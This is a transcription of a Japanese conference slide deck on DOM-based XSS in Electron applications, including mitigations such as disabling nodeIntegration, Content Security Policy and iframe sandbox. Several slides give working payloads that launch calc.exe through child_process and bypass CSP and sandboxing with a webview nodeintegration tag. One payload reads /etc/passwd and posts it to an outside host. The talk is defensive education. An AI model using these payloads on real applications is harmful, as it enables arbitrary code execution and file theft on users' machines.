自 己 紹 介 セキュリティのほうからやってきました OWASP Kansai Local Chapter Leader OWASP Japan board member ( 株 )セキュアスカイ テクノロジー 技 術 顧 問

Size: px
Start display at page:

Download "自 己 紹 介 はせがわようすけ @hasegawayosuke セキュリティのほうからやってきました OWASP Kansai Local Chapter Leader OWASP Japan board member ( 株 )セキュアスカイ テクノロジー 技 術 顧 問 http://utf-"

Transcription

1 Electronの 倒 し 方 Yosuke

2 自 己 紹 介 セキュリティのほうからやってきました OWASP Kansai Local Chapter Leader OWASP Japan board member ( 株 )セキュアスカイ テクノロジー 技 術 顧 問 author of aaencode / jjencode

3 ちなみに! 早 口 でかっ 飛 ばすので メモをとる よりも 録 音 & 写 真 のほうがいいかも! 資 料 は30 分 後 に 公 開 します!

4

5 Electronアプリにおける セキュリティ 保 護 機 能

6 そんなものはない

7 Electronアプリを 安 全 に 作 るたったひとつの 方 法

8 気 合 い

9 まとめ Electronのセキュリティ 保 護 機 構 ないから 諦 める Electronアプリを 安 全 に 作 る 方 法 気 合 いを 入 れる

10 Fin

11 スライドショーの 最 後 です クリックすると 終 了 します

12 気 を 取 り 直 して

13 Electron Apps なにが 危 ないのか

14 Electron Apps - なにが 危 ないのか Electron 固 有 の 注 意 点 Webアプリの 技 術 に 加 え ローカルアプリの 技 術 が 求 められる メインプロセス : node.js Electron 固 有 の 注 意 点 Webではないローカルアプリに 対 するセキュリティ 対 策 (symlink 攻 撃 やレースコンディションなど) レンダラプロセス : Chromium + node.js Electron 固 有 の 注 意 点 従 来 通 りのフロントエンドのセキュリティ 対 策 (DOM-based XSSなど) 場 合 によってはローカルアプリの 対 策

15 Electron 固 有 の 注 意 点 個 々のAPIを 使 う 上 での 注 意 点 window.open webviewタグ webframe registerurlschemeassecure registerurlschemeasbypassingcsp registerurlschemeasprivileged executejavascript etc... 今 日 は 時 間 がないので 省 略 ( 調 べるための 時 間 が )

16 ローカルアプリのセキュリティ 対 策 ローカルアプリのセキュリティ 対 策 も 必 要 symlink 攻 撃 レースコンディション 暗 号 の 不 適 切 な 利 用 過 大 なアクセス 権 限 機 密 情 報 が644など ファイル 名 の 別 名 表 記 8.3 形 式 ADS(file.txt::$DATA)など その 他 諸 々

17 ローカルアプリのセキュリティ 対 策 Webアプリとは 異 なる 知 識 背 景 プラットフォーム 固 有 の 知 識 が 必 要 資 料 がC/C++ 時 代 から 進 展 していない 参 考 資 料 Secure Programming HOWTO IPA セキュア プログラミング 講 座 :C / C++ 言 語 編 https://www.ipa.go.jp/security/awareness/vendor/programmingv2/clanguage.html

18 Webアプリとしてのセキュリティ 対 策 レンダラプロセス : Chromium + node.js ( 基 本 的 に) DOM 操 作 バリバリ DOM-based XSSが 発 生 しやすい 従 来 どおりのフロントエンドのセキュリティ 対 策 Electron 固 有 の 注 意 点 も(webFrame webviewな ど) 場 合 によってはローカルアプリの 対 策 も

19 Webアプリとしてのセキュリティ 対 策 レンダラプロセス : Chromium + node.js ( 基 本 的 に) DOM 操 作 バリバリ 今 日 の 本 題 DOM-based XSSが 発 生 しやすい 従 来 どおりのフロントエンドのセキュリティ 対 策 Electron 固 有 の 注 意 点 も(webFrame webviewな ど) 場 合 によってはローカルアプリの 対 策 も

20 Webアプリとしてのセキュリティ 対 策 DOM-based XSSが 発 生 しやすい DOM 操 作 が 多 い そもそもDOM-based XSSは 見 つけにくい fs.readfile( filename, (err,data)=>{ if(!err)element.innerhtml = data; //XSS! } ); fs.readdir ( dirname, (err,files)=>{ files.foreach( (filename)=>{ let elm = createelement( "div" ); elm.innerhtml = `<a href='${filename}'>${filename}</a>`; //XSS! paerntelm.appendchild( elm ); } ); } ); innerhtmlならxssして 当 たり 前 じゃん で 笑 い 流 せないくらいよくある

21 Webアプリとしてのセキュリティ 対 策 DOM-based XSSが 発 生 すると 致 命 的 な 被 害 攻 撃 者 によってinjectされたコード 内 でもnodeのフ ル 機 能 がつかえる(ことが 多 い) alert だけじゃない ローカルファイルの 読 み 書 き 他 アプリへの 干 渉 任 意 プロセスの 生 成 ローカル 環 境 の 破 壊 要 するに DOM-based XSSをきっかけに 任 意 コード 実 行 ができる

22 XSSの 脅 威 - Webアプリとの 比 較 従 来 のWebアプリ ニセ 情 報 の 表 示 Cookieの 漏 えい Webサイト 内 の 情 報 の 漏 えい 該 当 Webサイト 内 でJSができること 全 て 該 当 Webサイトを 超 えては 何 もできない ブラウザに 守 られている サンドボックス 脆 弱 性 があっても 自 身 のWebサイト 以 外 への 影 響 はない サイト 運 営 者 が 責 任 を 持 てる 範 囲 でしか 被 害 が 発 生 しない

23 XSSの 脅 威 - Webアプリとの 比 較 ElectronにおけるXSS アプリを 使 っているユーザーの 権 限 での 任 意 コード の 実 行 PC 内 でそのユーザーができること 全 て 既 存 アプリケーションの 破 壊 オンラインバンキング 用 アプリの 改 ざん 盗 聴 マルウェア 感 染 配 信 該 当 アプリケーションの 範 囲 を 超 えて 何 でもできる 開 発 者 の 責 任 の 重 みがまったく 変 わってくる

24 DbXSS on Electron Apps

25 ElectronでのDOM-based XSS デフォルトでレンダラ 上 でもnode 機 能 が 有 効 // xss_payloadは 攻 撃 者 がコントロール 可 能 な 文 字 列 elm.innerhtml = xss_paylorad; //XSS! // 攻 撃 者 はxss_payloadに 以 下 の 値 を 設 定 することで 電 卓 を 起 動 可 能 xss_paylorad = `<img src=# onerror= "require('child_process').exec('calc.exe', ()=>{})">`; // xss_payloadに 以 下 の 値 を 設 定 することでファイルを 奪 取 可 能 xss_paylorad = `<img src=# onerror=" var s = require('fs').readfilesync( '/etc/passwd','utf-8' ); var x = new XMLHttpRequest(); x.open('post', 'http://example.jp/', true ); x.send( s ); ">`;

26 DEMO1: DOM-based XSS

27 XSSの 脅 威 任 意 コード 実 行 が 可 能 - まるでバッファオーバーフロー

28 XSSの 脅 威 任 意 コード 実 行 が 可 能 - まるでバッファオーバーフロー XSS: The New Buffer Overflow In many respects, an XSS vulnerability is just as dangerous as a buffer overflow. 多 くの 点 から 見 て XSS 脆 弱 性 の 危 険 性 はバッファ オー バーフローに 匹 敵 します "Security Briefs: SDL Embraces The Web", Apr MSの 時 代 の 先 読 み 感 すごい

29 開 発 者 にできること 脆 弱 性 を 作 りこまない! Electronにはセキュリティ 保 機 構 はない Webアプリ 向 けの 保 護 機 構 (CSPなど)も 限 定 的 ( 後 述 ) 脆 弱 性 を 生 まないように 気 合 いと 根 性 でコードを 書 く しかない!

30 DOM-based XSS ソースをエスケープ 等 せずにシンクに 与 えること でJS 上 で 発 生 するXSS ソース : 攻 撃 者 の 与 えた 文 字 列 シンク : 文 字 列 からHTMLを 生 成 したりコードと して 実 行 する 箇 所 location. hash document. referrer location. href document. write location. search ソース 処 理 シンク innerhtml XHR etc... eval etc...

31 DOM-based XSS 従 来 のWebアプリケーション ソース : 攻 撃 者 がコントロール 可 能 な 箇 所 location.href location.hash location.search window.name document.referrer XHR.responseText postmessage シンク : 文 字 列 をJSとして 動 作 させる 箇 所 location.href location.assign document.write innerhtml eval Function settimeout setinterval

32 DOM-based XSS 従 来 のWebアプリケーション ソース : 攻 撃 者 がコントロール 可 能 な 箇 所 location.href location.hash location.search window.name document.referrer XHR.responseText postmessage ユーザー 名 コンピュータ 名 ファイル 名 ファイルの 内 容 データベース 内 の 文 字 列 ログの 内 容 その 他 あらゆるデータ シンク : 文 字 列 をJSとして 動 作 させる 箇 所 location.href location.assign document.write innerhtml eval Function settimeout setinterval require child_process webframe.executejavascript REPL 従 来 のWebアプリでは 存 在 しなかったソースからXSSが 発 生

33 DOM-based XSS 従 来 のWebアプリでは 存 在 しなかったソース あらゆるデータ 部 分 がXSSソースとなり 得 る シンクはそれほど 増 えていない requireなどに 動 的 な 引 数 を 与 えることは 通 常 ない ソースを 意 識 する(サニタイズ)のではなくシンク へ 渡 す 際 にエスケープする あるいはDOM 操 作 関 数 (textcontent/setattribute など)

34 DOM-based XSSの 緩 和

35 DOM-based XSSの 緩 和 DOM-based XSSを 緩 和 する 方 法 を 考 える レンダラでのnode 機 能 の 無 効 化 Content Security Policyの 導 入 iframe sandboxの 利 用

36 DOM-based XSSの 緩 和 DOM-based XSSを 緩 和 する 方 法 を 考 える レンダラでのnode 機 能 の 無 効 化 Content Security Policyの 導 入 iframe sandboxの 利 用

37 DbXSSの 緩 和 - node 機 能 の 無 効 化 レンダラ 内 でもnodeが 使 えるから 被 害 が 増 大 nodeを 切 っておけばいいのでは? mainwindow = new BrowserWindow( { width: 600, height: 400, webpreferences: { nodeintegration : false } } );

38 DbXSSの 緩 和 - node 機 能 の 無 効 化 レンダラ 内 でnode 機 能 を 再 活 性 化 できる webview 要 素 にnodeintegration 属 性 を 付 与 <webview nodeintegration src="data:text/html, <script> require('child_process').exec('calc.exe', ()=>{}) </script> "></webview> window.openに'nodeintegration=1'を 付 与 window.open('http://example.jp/', '', 'nodeintegration=1'); // example.jpサイトのjsはnode 機 能 が 利 用 可 能 になる

39 DEMO2: nodeintegration

40 DbXSSの 緩 和 - node 機 能 の 無 効 化 レンダラ 内 で 確 実 にnode 機 能 をオフにする 方 法 はない XSSによって<webview>タグを 挿 入 されると 結 局 nodeの 全 機 能 が 悪 用 される

41 DOM-based XSSの 緩 和 DOM-based XSSを 緩 和 する 方 法 を 考 える レンダラでのnode 機 能 の 無 効 化 Content Security Policyの 導 入 iframe sandboxの 利 用

42 DbXSSの 緩 和 - CSPの 導 入 レンダラにContent Security Policyを 導 入 <meta http-equiv="content-security-policy" content="default-src 'self'"> スクリプトや 画 像 などのリソースが 同 一 オリジン 内 に 制 限 される インラインスクリプトやevalが 禁 止 される これでXSSが 発 生 しても 攻 撃 できないのでは?

43 DbXSSの 緩 和 - CSPの 導 入 レンダラにContent Security Policyを 導 入 <meta http-equiv="content-security-policy" content="default-src 'self'">... <webview nodeintegration src="data:text/html, <script> require('child_process').exec('calc.exe', ()=>{}) </script> "></webview> CSPが 指 定 されてもwebviewタグ 内 ではスクリプト が 実 行 可 能 CSPではXSSの 緩 和 にならない

44 DEMO3: CSP vs <webview>

45 DbXSSの 緩 和 - CSPの 導 入 CSPが 指 定 されていても <webview> 内 では 自 由 にJSが 実 行 可 能 CSPではXSSの 脅 威 を 緩 和 できない

46 DOM-based XSSの 緩 和 DOM-based XSSを 緩 和 する 方 法 を 考 える レンダラでのnode 機 能 の 無 効 化 Content Security Policyの 導 入 iframe sandboxの 利 用

47 DbXSSの 緩 和 - iframe sandbox iframe sandbox - iframe 内 でのJS 実 行 を 禁 止 レンダリング(DOM 操 作 )を 全 てiframe sandbox 内 で 行 えばXSSがあっても 被 害 が 出 にくいのでは? <iframe sandbox="allow-same-origin" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe>... document.queryselector("#sb").contentdocument.queryselector("#msg").innerhtml = "Hello, XSS!<script>alert(1)< /script>"; この 方 法 は 意 外 と 強 い iframe 内 でXSSが 発 生 しても 被 害 を 抑 えることがで きる

48 DbXSSの 緩 和 - iframe sandbox <iframe sandbox[="params"]> 代 表 的 なもの allow-forms allow-scripts allow-same-origin allow-top-navigation allow-popups - フォームの 実 行 を 許 可 - スクリプトの 実 行 を 許 可 - 同 一 オリジン 扱 いを 許 可 - topへの 干 渉 を 許 可 - ポップアップを 許 可 allow-scriptsは 危 険 緩 和 策 にならない ( 理 由 は 自 明 ) allow-top-navigation allow-popupsも 危 険

49 DbXSSの 緩 和 - iframe sandbox <iframe sandbox="allow-same-origin allow-popups" id="sb" srcdoc="<html><div id='msg'></div>..."></iframe>... var xss = `<a target="_blank" href="data:text/html,<script>alert(1);< /script>">click</a>`; document.queryselector("#sb").contentdocument.queryselector("#msg").innerhtml = xss; iframe 内 ではJSは 動 かないが popupの 中 ではJSが 動 く Click (iframe) 1 OK data:text/html,<script>...

50 DbXSSの 緩 和 - iframe sandbox <iframe sandbox="allow-same-origin allow-popups" id="sb" srcdoc="<html><div id='msg'></div>..."></iframe>... var xss = `<a target="_blank" href="data:text/html, <script>1</script><webview nodeintegration src="data:text/html,<b>webview</b> <script>require('child_process').exec('calc.exe', ()=>{})</script>"></webview>">click</a>`; document.queryselector("#sb").contentdocument.queryselector("#msg").innerhtml = xss; popupの 中 ではnode 機 能 の 使 えるJSが 動 く Click (iframe) data:text/html, <webview nodeintegration>... 0 CE C ± / % * 1/x =

51 DEMO4: iframe sandbox

52 DbXSSの 緩 和 - iframe sandbox iframe sandboxによりxssの 脅 威 を 緩 和 できる レンダリング(DOM 操 作 )を 全 てiframe sandbox 内 で 行 えばXSSがあっても 被 害 が 発 生 しにくい allow-scripts allow-top-navigation allowpopupsをつけてはいけない

53 まとめ

54 まとめ ElectronでのDbXSSはWebアプリより 深 刻 任 意 コードの 実 行 Electron 自 体 には 有 効 な 保 護 機 構 はない レンダラ 内 でnode 機 能 が 再 活 性 化 されやすい iframe sandboxによって 脅 威 を 緩 和 することが 可 能 Electron 固 有 の 注 意 点 については 今 回 は 触 れ ていません webviewタグ webframe APIなど

55 提 供 Shibuya.XSS UTF-8.jp

56

57